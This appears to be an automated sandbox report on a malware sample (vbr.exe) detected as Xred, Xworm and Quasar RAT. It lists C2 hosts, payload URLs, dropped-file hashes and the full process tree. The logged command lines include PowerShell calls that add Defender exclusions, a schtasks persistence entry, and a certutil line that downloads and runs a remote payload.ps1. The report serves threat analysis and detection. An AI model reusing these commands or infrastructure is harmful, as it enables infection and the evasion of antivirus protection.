Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • submitted
    29/04/2024, 16:19

General

  • Target
    vbr.exe
  • Size 2.6MB
  • Sample240429-tst7ysfc7v
  • SHA256 9bc832050495cccbd57615cfba9f2db549f66b9420116edf4ab42f40af43364b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xred

C2
  • xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family
  • xworm

Version
  • 3.1

C2
  • fri-discussing.gl.at.ply.gg:31675

Mutex
  • dIzYARqEfiXAmk7I

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    explorer.exe

aes.plain

Signatures

  • Detect Xworm Payload 5 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 5 IoCs
  • Xred

    Xred is backdoor written in Delphi.

  • Xred family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\vbr.exe
    "C:\Users\Admin\AppData\Local\Temp\vbr.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3772
    • C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe"
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3968
      • C:\Users\Admin\AppData\Roaming\5.exe
        "C:\Users\Admin\AppData\Roaming\5.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
          "C:\Users\Admin\AppData\Local\Temp\._cache_5.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3828
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\._cache_5.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4868
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_5.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1808
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\._cache_5.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3528
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "._cache_5" /tr "C:\ProgramData\._cache_5.exe"
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3652
      • C:\Users\Admin\AppData\Roaming\8.exe
        "C:\Users\Admin\AppData\Roaming\8.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
          "C:\Users\Admin\AppData\Local\Temp\._cache_8.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2712
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\windows.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2276
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1 && powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\payload.ps1 && del C:\Users\Admin\AppData\Local\Temp\payload.ps1
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2108
          • C:\Windows\system32\certutil.exe
            certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1
            5⤵
              PID:436
      • C:\ProgramData\Synaptics\Synaptics.exe
        "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:428
        • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
          "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
          3⤵
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3468
          • C:\Users\Admin\AppData\Roaming\5.exe
            "C:\Users\Admin\AppData\Roaming\5.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:4844
            • C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
              "C:\Users\Admin\AppData\Local\Temp\._cache_5.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:236
          • C:\Users\Admin\AppData\Roaming\8.exe
            "C:\Users\Admin\AppData\Roaming\8.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:5108
            • C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
              "C:\Users\Admin\AppData\Local\Temp\._cache_8.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3360
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\windows.vbs"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4928
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1 && powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\payload.ps1 && del C:\Users\Admin\AppData\Local\Temp\payload.ps1
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2196
              • C:\Windows\system32\certutil.exe
                certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1
                6⤵
                  PID:4004
      • C:\ProgramData\._cache_5.exe
        C:\ProgramData\._cache_5.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4516
      • C:\ProgramData\._cache_5.exe
        C:\ProgramData\._cache_5.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2344

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            Synaptics.exe

            • Path C:\ProgramData\Synaptics\Synaptics.exe
            • Size 2.6MB
            • SHA256 9bc832050495cccbd57615cfba9f2db549f66b9420116edf4ab42f40af43364b
            • MD5 SHA1 SHA512 SSDEEP

            ._cache_5.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\._cache_5.exe.log
            • Size 654B
            • SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
            • MD5 SHA1 SHA512

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 009aee0a5f2d25ed79160e75cde58722def11663334ed20283e3afca32f971ea
            • MD5 SHA1 SHA512

            ._cache_5.exe

            • Path C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
            • Size 39KB
            • SHA256 a2d719971a8ea66f5494722fbdaefe30ead6e51a97d9b33e28ca4696170a0789
            • MD5 SHA1 SHA512 SSDEEP

            ._cache_8.exe

            • Path C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
            • Size 246KB
            • SHA256 03f74f7673b44d5145d9b07104c7e63106546da09e4c485713170c7198bb4be9
            • MD5 SHA1 SHA512 SSDEEP

            ._cache_vbr.exe

            • Path C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe
            • Size 1.9MB
            • SHA256 310c8d652b60e3edfb95df723d053eda3f11230dc066d91ff4206534041df85a
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_uj5tvrc1.1bg.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uj5tvrc1.1bg.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            5.exe

            • Path C:\Users\Admin\AppData\Roaming\5.exe
            • Size 784KB
            • SHA256 dc6fce9c2dd297f1e31d8d664dc20214c9a5c7389b3ac675ab21f3785b00c31d
            • MD5 SHA1 SHA512 SSDEEP

            8.exe

            • Path C:\Users\Admin\AppData\Roaming\8.exe
            • Size 991KB
            • SHA256 a6d1958c87f10ccabb74d5264f7097d8e1387fbcf412f6dc824fdfec9495d9c4
            • MD5 SHA1 SHA512 SSDEEP

            windows.vbs

            • Path C:\Users\Admin\AppData\Roaming\windows.vbs
            • Size 302B
            • SHA256 a11c45863e9984778310f6caedde9918801f9408ab462005d13453c73122421b
            • MD5 SHA1 SHA512

            memory/428-356-0x0000000000400000-0x000000000069C000-memory.dmp

            memory/428-413-0x0000000000400000-0x000000000069C000-memory.dmp

            memory/428-412-0x0000000000400000-0x000000000069C000-memory.dmp

            memory/428-394-0x0000000000400000-0x000000000069C000-memory.dmp

            memory/428-402-0x0000000000400000-0x000000000069C000-memory.dmp

            memory/860-346-0x0000000000400000-0x00000000004FE000-memory.dmp

            memory/1808-380-0x000002DF29F30000-0x000002DF2A07F000-memory.dmp

            memory/2668-329-0x0000000000400000-0x00000000004CA000-memory.dmp

            memory/2712-401-0x0000000006A40000-0x0000000006A4A000-memory.dmp

            memory/2712-354-0x0000000006230000-0x0000000006242000-memory.dmp

            memory/2712-352-0x00000000053D0000-0x0000000005436000-memory.dmp

            memory/2712-347-0x0000000000A10000-0x0000000000A54000-memory.dmp

            memory/3360-351-0x0000000004B90000-0x0000000004C22000-memory.dmp

            memory/3360-348-0x0000000005240000-0x00000000057E6000-memory.dmp

            memory/3528-391-0x000001873D220000-0x000001873D36F000-memory.dmp

            memory/3772-131-0x0000000000400000-0x000000000069C000-memory.dmp

            memory/3772-0-0x0000000002400000-0x0000000002401000-memory.dmp

            memory/3828-330-0x0000000000A60000-0x0000000000A70000-memory.dmp

            memory/3968-266-0x00007FF835F70000-0x00007FF836A32000-memory.dmp

            memory/3968-127-0x00007FF835F70000-0x00007FF836A32000-memory.dmp

            memory/3968-118-0x0000000000C50000-0x0000000000E30000-memory.dmp

            memory/4844-350-0x0000000000400000-0x00000000004CA000-memory.dmp

            memory/4868-368-0x000001C0F47E0000-0x000001C0F492F000-memory.dmp

            memory/4868-365-0x000001C0F4650000-0x000001C0F4672000-memory.dmp

            memory/5108-344-0x0000000000400000-0x00000000004FE000-memory.dmp